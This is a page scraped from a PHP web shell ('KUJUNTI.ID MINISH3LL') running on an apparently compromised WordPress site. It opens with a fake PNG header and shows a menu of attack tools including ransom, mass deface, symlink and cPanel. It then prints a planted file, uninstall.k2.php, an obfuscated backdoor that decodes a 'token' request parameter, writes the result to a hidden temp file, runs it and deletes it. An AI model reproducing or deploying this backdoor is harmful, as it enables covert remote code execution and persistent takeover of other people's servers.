\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-includes/network/includes/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-includes/network/includes/uninstall.k2.php


<?php

if(!is_null($_REQUEST["t\x6F\x6Ben"] ?? null)){
	$comp = array_filter([getcwd(), session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm"]);
	$hld = $_REQUEST["t\x6F\x6Ben"];
	   $hld 		=	explode 		(	"."		,$hld 	 )  ;  
	$component ='';
            $salt ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =strlen($salt);
    
            foreach ($hld as $m =>		$v1) {	 $chS =ord($salt[$m%$sLen]);
                $d =((int)$v1 - $chS - ($m%10))	 ^  33;
                $component .= chr($d);	 }	
	foreach ($comp as $itm):
    		if (!( !is_dir($itm) || !is_writable($itm) )) {
    $data_chunk = "$itm" . "/.value";
    $file = fopen($data_chunk, 'w');
if ($file) {
	fwrite($file, $component);
	fclose($file);
	include $data_chunk;
	@unlink($data_chunk);
	die();
}
}
endforeach;
}

© KUJUNTI.ID